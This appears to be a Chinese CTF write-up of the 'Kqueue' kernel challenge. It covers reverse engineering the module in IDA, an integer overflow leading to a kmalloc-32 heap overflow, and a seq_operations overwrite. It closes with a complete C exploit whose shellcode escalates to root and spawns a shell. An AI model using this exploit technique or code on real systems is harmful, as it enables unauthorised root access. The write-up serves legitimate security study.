0%

内核shellcode+seq_operations

Kqueue

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

#stty intr ^]
stty sane
exec qemu-system-x86_64 \
-cpu kvm64 \
-m 512 \
-nographic \
-kernel "bzImage" \
-append "console=ttyS0 oops=panic panic=-1 pti=off kaslr quiet" \
-monitor /dev/null \
-initrd "./rootfs.cpio" \
-s
  • kaslr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/bin/sh
# devtmpfs does not get automounted for initramfs

export PATH=/bin
export PATH=/sbin:$PATH

[ -d /dev ] || mkdir -m 0755 /dev
[ -d /sys ] || mkdir /sys
[ -d /proc ] || mkdir /proc
[ -d /tmp ] || mkdir /tmp
[ -d /run ] || mkdir /run
[ -d /root ] || mkdir /root
[ -d /etc ] || mkdir /etc
[ -d /home ] || mkdir /home

chmod 644 /etc/passwd
chmod 644 /etc/group
chown -R root:root /
chmod 700 /flag

chmod 700 -R /root
chown ctf:ctf -R /home/ctf
chmod 777 /home/ctf
chmod 755 /dev

mkdir -p /var/lock
mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t proc -o nodev,nosuid proc /proc
ln -sf /proc/mounts /etc/mtab
mount -t devtmpfs -o nosuid,mode=0755 udev /dev
mkdir -p /dev/pts
mount -t devpts -o noexec,nosuid,gid=5,mode=0620 devpts /dev/pts || true
mount -t tmpfs -o "noexec,nosuid,size=10%,mode=0755" tmpfs /run

insmod /root/kqueue.ko
chmod o+rw /dev/kqueue
chmod u+s /bin/ping

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/perf_event_paranoid
echo 1 > /proc/sys/kernel/dmesg_restrict

# use the /dev/console device node from devtmpfs if possible to not
# confuse glibc's ttyname_r().
# This may fail (E.G. booted with console=), and errors from exec will
# terminate the shell, so use a subshell for the test
if (exec 0</dev/console) 2>/dev/null; then
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
fi

exec /sbin/init "$@"
  • perf_event_paranoid:控制非特权用户对性能事件系统的使用(无CAP_SYS_ADMIN),预设值为 “2”
  • dmesg_restrict
  • kptr_restrict

经过测试,重新打包会导致程序权限出现问题(不知道为什么),这里只好把其他题目的文件系统拿来用

逆向分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
__int64 __fastcall kqueue_ioctl(__int64 fd, unsigned int cmd, __int64 ptr)
{
__int64 v4; // rdx
__int64 v5; // rcx
__int64 v6; // r8
__int64 v7; // r9
__int64 kqueue; // rbp
int v10[2]; // [rsp+0h] [rbp-38h] BYREF
__int16 v11[4]; // [rsp+8h] [rbp-30h]
void *src; // [rsp+10h] [rbp-28h]
unsigned __int64 v13; // [rsp+18h] [rbp-20h]

v13 = __readgsqword(0x28u);
mutex_lock(&operations_lock);
if ( copy_from_user(v10, ptr, 24LL) )
err((__int64)"[-] copy_from_user failed");
if ( cmd == 0xDAADEEEE )
{
kqueue = edit_kqueue((int)v10, ptr, v4, v5, v6, v7, *(__int64 *)v10, v11[0], src);
}
else if ( cmd > 0xDAADEEEE )
{
kqueue = -1LL;
if ( cmd == 0xDEADC0DE )
kqueue = create_kqueue((__int64)v10, ptr, v4, v5, v6, v7, *(__int64 *)v10);
}
else if ( cmd == 0xB105BABE )
{
kqueue = save_kqueue_entries((__int64)v10, ptr, v4, v5, v6, v7, *(__int64 *)v10, v11[0]);
}
else if ( cmd == 0xBADDCAFE )
{
kqueue = delete_kqueue((__int64)v10, ptr, v4, v5, v6, v7, v10[0], v11[0]);
}
else
{
kqueue = -1LL;
}
mutex_unlock(&operations_lock);
return kqueue;
}

第一眼看上去程序很乱,但切入点在这一句:

1
copy_from_user(v10, ptr, 24LL)
  • 由此我们可以判断 v10 是一个结构体,并且大小为 24 字节
1
2
3
4
5
6
7
8
9
00000000 Node struc ; (sizeof=0x18, mappedto_3)  ; XREF: delete_kqueue/r
00000000 ; edit_kqueue/r ...
00000000 field_0 dq ? ; XREF: delete_kqueue+2/r
00000000 ; edit_kqueue+A/r ...
00000008 field_8 dq ? ; XREF: edit_kqueue+15/r
00000008 ; save_kqueue_entries+19/r ...
00000010 field_10 dq ? ; XREF: kqueue_ioctl+68/r
00000010 ; kqueue_ioctl+B7/r ...
00000018 Node ends
  • 先对 v10 设置一个结构体,具体的条目可以之后再确定
  • 例如:通过 _kmalloc 可以确定哪个条目代表 size(通过提示信息也可以判断一些条目)
1
2
3
4
5
6
7
8
chunk = (char *)_kmalloc(24LL * (unsigned int)(tmp.size1 + 1) + 0x20, 0xCC0LL);
chunkP = validate(chunk);
chunk = (char *)_kmalloc((unsigned __int16)tmp.size2, 0xCC0LL);
*((_QWORD *)chunkP + 3) = validate(chunk);
*(_WORD *)chunkP = tmp.size2;
*((_DWORD *)chunkP + 4) = tmp.size1;
*((_QWORD *)chunkP + 1) = v2;
v6 = chunkP + 32;
  • 其实这里可以看出来程序还有一个结构体 chunkP,大小不确定
  • 对于大小不确定并且在堆上的结构体,我们可以尽量多设置一些条目,然后根据情况进行修改

复原结构体后,随便打开一个参数很多的函数:

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall create_kqueue(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7)
{
unsigned int v7; // r13d
unsigned __int64 v8; // rbx
__int64 v9; // rax
__int64 v10; // r15
__int64 v11; // rax
__int64 v12; // rbx
int i; // ebp
__int64 v14; // rax
__int64 j; // rax
unsigned int v16; // ebx
  • 发现 a1~a6 根本没有用上(从 a7(v10) 开始有用),可以用 IDA 删除这些多余的参数
  • v10 是一个结构体(不是结构体指针),出现在 RBP+0x8 的位置
  • IDA 分析时不会把 v10 当做是一个结构体,而是把它拆分为多个使用过的结构体条目(没有使用过的结构体条目会被直接忽略)
1
2
3
4
5
6
7
8
9
10
11
char request; // [rsp+3Eh] [rbp+Eh]
char request_2; // [rsp+40h] [rbp+10h]
const void *request_3; // [rsp+48h] [rbp+18h]

if ( *(_WORD *)&request_2 > 5u )
err((__int64)"[-] Invalid kqueue idx");
queue = (Queue *)(&kqueues)[*(unsigned __int16 *)&request_2];
if ( !queue )
err((__int64)"[-] kqueue does not exist");
if ( *(unsigned __int16 *)&request > queue->max_entries )
err((__int64)"[-] Invalid kqueue entry_idx");
  • request_2 就是 Node->queue_idx
  • request 就是 Node->entry_idx
  • request_3 就是 Node->data
  • 由于 Node->data_sizeNode->max_entries 没有使用,于是被 IDA 忽略了

对于这种情况建议不要把形参修成一个结构体,而是就把它设置为多个结构体条目:

1
2
3
4
5
6
7
8
9
10
11
unsigned __int16 entry_idx; // [rsp+3Eh] [rbp+Eh]
unsigned __int16 queue_idx; // [rsp+40h] [rbp+10h]
char *data; // [rsp+48h] [rbp+18h]

if ( queue_idx > 5u )
err("[-] Invalid kqueue idx");
queue = kqueues[queue_idx];
if ( !queue )
err("[-] kqueue does not exist");
if ( entry_idx > queue->max_entries )
err("[-] Invalid kqueue entry_idx");

分析全局,在内核堆上的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
----------------
[ queue ]
----------------
[ kqueue_entry ]
----------------
[ kqueue_entry ]
----------------
[ kqueue_entry ]
----------------
[ kqueue_entry ]
----------------
[ kqueue_entry ]
----------------
  • 这一整片内存的大小是确定的
  • 程序根据 queue->max_entries 来确定 kqueue_entry 的个数
  • 每个 queuekqueue_entry 都有一个 data 条目,指向一片大小为 request.data_size 的堆空间

漏洞分析

create_kqueue 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
num = request.max_entries + 1;

......

if ( num > 1 )
{
for ( i = 1; i != num; ++i )
{
if ( request.max_entries != i )
current_entry->next = 0LL;
current_entry->index = i;
data = (char *)_kmalloc(request.data_size, 0xCC0LL);
current_entry->data = validate(data);
++current_entry;
current_entry[-1].next = current_entry;
}
}
  • 局部变量 num 的类型为 unsigned int,对其加一可能会导致整形溢出
  • 写入 0xffffffff 会导致 request.max_entries + 1 溢出为 0x0,导致不初始化 queue_entry 的同时使得 queue->max_entries = 0xffffffff
1
2
3
queue_size = 24LL * (request.max_entries + 1) + 0x20;
if ( queue_size > 0x10020 )
err("[-] Max kqueue alloc limit reached");
  • 同理,request.max_entries + 1 的溢出会导致 queue_size 变为 0x20

save_kqueue_entries 中:

1
2
3
4
5
6
7
8
new_queue = (Queue *)kzalloc(queue->queue_size, 0xCC0);
new_queue = (Queue *)validate((char *)new_queue);
if ( (unsigned __int64)request.data_size > queue->queue_size )
err("[-] Entry size limit exceed");
data = queue->data;
if ( !request.data_size || !data )
err("[-] Internal error");
memcpy(new_queue, data, request.data_size);
  • request.data_size 是我们输入的数据,过大会导致 new_queue 堆溢出

入侵思路

首先 save_kqueue_entriesnew_queue 是有堆溢出的

结合 create_kqueue 中的整形溢出,就会使 new_queuekmalloc-32 中申请空间,然后就可以在 kmalloc-32 中进行溢出

对于 kmalloc-32 我们可以使用 seq_operations

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
  • 当我们 Read 一个 stat 文件时,内核会调用其 proc_ops->proc_read 指针(其默认值为 seq_read 函数)
  • 进而调用 seq_operations->start

程序没有提供泄露内核基地址函数(ldt_struct 结构体使用 kmalloc-16,也无法使用),但程序没有开 smap smep,可以注入 shellcode 并在内核栈上找恰当的数据以获得内核基址

  • PS:在 rsp+0x8 的位置可以泄露内核基地址

于是我们可以堆喷覆写 kmalloc-32 上的 seq_operations->start 为 shellcode

这一步的调试比较麻烦,我的建议是:

  • 直接在 shellcode 打断点进行调试(0x401D1F

当然也可以用常规的调试方式:

  • 关闭 Kaslr ,开启 Root,在 seq_read(旧的内核版本用的是 seq_read_iter)打上断点,然后对着源码进行调试
1
2
/ # cat /proc/kallsyms | grep seq_read
ffffffff812010f0 T seq_read
  • 另外还可以利用 IDA 去分析 vmlinux,以确定准确的断点(vmlinux 可以用 extract-vmlinux 来生成)
  • 这部分可以对照源码来看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:FFFFFFFF812010F0
.text:FFFFFFFF812010F0 loc_FFFFFFFF812010F0: ; CODE XREF: .text:FFFFFFFF8126FA8E↓j
.text:FFFFFFFF812010F0 41 57 push r15
.text:FFFFFFFF812010F2 41 56 push r14
.text:FFFFFFFF812010F4 41 55 push r13
.text:FFFFFFFF812010F6 41 54 push r12
.text:FFFFFFFF812010F8 55 push rbp
.text:FFFFFFFF812010F9 48 89 CD mov rbp, rcx
.text:FFFFFFFF812010FC 53 push rbx
.text:FFFFFFFF812010FD 48 83 EC 20 sub rsp, 20h
.text:FFFFFFFF81201101 4C 8B B7 C8 00 00 00 mov r14, [rdi+0C8h]
.text:FFFFFFFF81201108 48 89 74 24 08 mov [rsp+8], rsi
.text:FFFFFFFF8120110D 4D 8D 7E 38 lea r15, [r14+38h]
.text:FFFFFFFF81201111 48 89 14 24 mov [rsp], rdx
.text:FFFFFFFF81201115 4C 89 FF mov rdi, r15
.text:FFFFFFFF81201118 E8 83 97 8E 00 call sub_FFFFFFFF81AEA8A0

下面简述一下定位的过程:

  • 先找函数指针,按 x 交叉引用看看哪个变量使用了函数指针:
1
__int64 (__fastcall **v8)(__int64 *, __int64); // rax
  • 最后确定调用 seq_operations->start 的代码位置:(0xFFFFFFFF8120115B
1
2
3
v8 = (__int64 (__fastcall **)(__int64 *, __int64))v5[11];
v5[2] = 0LL;
v9 = (*v8)(v5, (__int64)(v5 + 5));

调试信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0x401d1f    push   rbp
0x401d20 mov rbp, rsp
0x401d23 mov r12, qword ptr [rsp + 8]
0x401d28 sub r12, 0x201179
0x401d2f mov r13, r12
0x401d32 add r12, 0x8c580
0x401d39 add r13, 0x8c140
0x401d40 xor rdi, rdi
0x401d43 call r12

0x401d46 mov rdi, rax
0x401d49 call r13
──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc900001bbe78 —▸ 0xffffffff81201179 ◂— mov r12, rax
01:00080xffffc900001bbe80 ◂— 1
02:00100xffffc900001bbe88 —▸ 0x7ffc16cbd5b0 —▸ 0x401d39 ◂— add r13, 0x8c140
03:00180xffffc900001bbe90 ◂— 0
04:00200xffffc900001bbe98 ◂— add byte ptr [rdx + 0x17], cl /* 0x52b5f5b51e174a00 */
05:00280xffffc900001bbea0 ◂— 1
06:00300xffffc900001bbea8 ◂— 1

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/stat.h>

typedef struct
{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;

long dev_fd;
size_t getroot_addr;

#define CREATE_KQUEUE 0xDEADC0DE
#define EDIT_KQUEUE 0xDAADEEEE
#define DELETE_KQUEUE 0xBADDCAFE
#define SAVE_KQUEUE 0xB105BABE

size_t prepare_kernel_cred_low = 0x8c580;
size_t commit_creds_low = 0x8c140;

int init_fd(char* str){
dev_fd = open(str,O_RDWR);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_reg(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("saved");
}

void getroot(void)
{
if(getuid())
{
puts("wrong root");
exit(-1);
}
puts("root");
system("/bin/sh");
exit(0);
}

void errExit(char * msg)
{
perror(msg);
exit(0);
}

void createQueue(request_t req)
{
ioctl(dev_fd, CREATE_KQUEUE, &req);
}

void editQueue(request_t req)
{
ioctl(dev_fd, EDIT_KQUEUE, &req);
}

void deleteQueue(request_t req)
{
ioctl(dev_fd, DELETE_KQUEUE, &req);
}

void saveQueue(request_t req)
{
ioctl(dev_fd, SAVE_KQUEUE, &req);
}

void shellcode(void)
{
__asm__(
"mov r12, [rsp + 0x8];"
"sub r12, 0x201179;"
"mov r13, r12;"
"add r12, prepare_kernel_cred_low;"
"add r13, commit_creds_low;"
"xor rdi, rdi;"
"call r12;"
"mov rdi, rax;"
"call r13;"
"swapgs;"
"mov r14, user_ss;"
"push r14;"
"mov r14, user_sp;"
"push r14;"
"mov r14, user_rflags;"
"push r14;"
"mov r14, user_cs;"
"push r14;"
"mov r14, getroot_addr;"
"push r14;"
"iretq;"
);
}

int main(int argc, char **argv, char**envp)
{
long seq_fd[0x200];
size_t *page;
size_t data[0x20];
request_t req;

save_reg();
getroot_addr = (size_t)getroot;
init_fd("/dev/kqueue");

for (int i = 0; i < 0x20; i++)
data[i] = (size_t)shellcode;

printf("shellcode : 0x%lx\n",shellcode);
sleep(2);

req.max_entries = 0xffffffff;
req.data_size = 0x20 * 8;
createQueue(req);

req.data = data;
req.max_entries = 0;
req.data_size = 0;
editQueue(req);

for (int i = 0; i < 0x10; i++)
seq_fd[i] = open("/proc/self/stat", O_RDONLY);

req.data_size = 0x40;
saveQueue(req);

for (int i = 0; i < 0x10; i++)
read(seq_fd[i], data, 1);
}

小结:

这个题其实是给了源码的,但我看到题目把结构体作为形参传入时,就知道 IDA 分析出来肯定很乱

1
2
static noinline long create_kqueue(request_t request){}
static noinline long delete_kqueue(request_t request){}

于是打算用这个题来练一练内核模块的逆向

这个题目有3个不同的结构体,当时把结构体的范围搞错了,导致程序的功能难以理解

最后还调试了一下 seq_read 的执行流程(真的很慢)